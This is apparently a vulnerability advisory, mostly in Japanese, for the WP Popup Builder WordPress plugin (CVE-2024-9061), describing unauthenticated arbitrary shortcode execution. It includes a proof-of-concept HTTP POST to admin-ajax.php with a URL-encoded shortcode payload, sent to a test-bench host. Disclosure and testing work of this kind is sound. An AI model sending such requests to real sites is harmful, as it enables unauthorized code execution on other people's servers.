
WP Popup Builder – ポップアップフォームとマーケティングリード生成 <= 1.3.5 - wp_ajax_nopriv_shortcode_Api_Add 経由の未認証任意ショートコード実行
WP Popup Builder – Popup Forms and Marketing Lead Generation <= 1.3.5 - 認証なし任意ショートコード実行(wp_ajax_nopriv_shortcode_Api_Add 経由)
WordPress用プラグイン「WP Popup Builder – Popup Forms and Marketing Lead Generation」は、バージョン1.3.5以前のすべてのバージョンにおいて、wp_ajax_nopriv_shortcode_Api_Add AJAXアクションを介して任意のショートコード実行が可能な脆弱性があります。これは、ソフトウェアがdo_shortcodeを実行する前に値を適切に検証しないアクションをユーザーに許可しているためです。これにより、認証されていない攻撃者が任意のショートコードを実行できる可能性があります。注意:この脆弱性はバージョン1.3.5でnonceチェックによる部分的な修正が行われ、影響を受ける関数へのアクセスが事実上防止されました。しかし、バージョン1.3.6では適切な認証チェックが組み込まれ、不正アクセスを防止しています。
私はこのためにPHP実行用の別のプラグインをインストールしていましたが、実行させることができませんでした。
[xyz-ips snippet="test"]
Type: plugin
CVSS Score: 7.3
CVE: CVE-2024-9061
Slug: wp-popup-builder
Download Link: Download [wp-popup-builder Version 1.3.2](https://downloads.wordpress.org/plugin/wp-popup-builder.1.3.2.zip)
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wpscan-vulnerability-test-bench.ddev.site
User-Agent: curl/8.7.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Connection: keep-alive
action=shortcode_Api_Add&shortcode=%5b%78%79%7a%2d%69%70%73%20%73%6e%69%70%70%65%74%3d%22%74%65%73%74%22%5d
レスポンスは空白の200です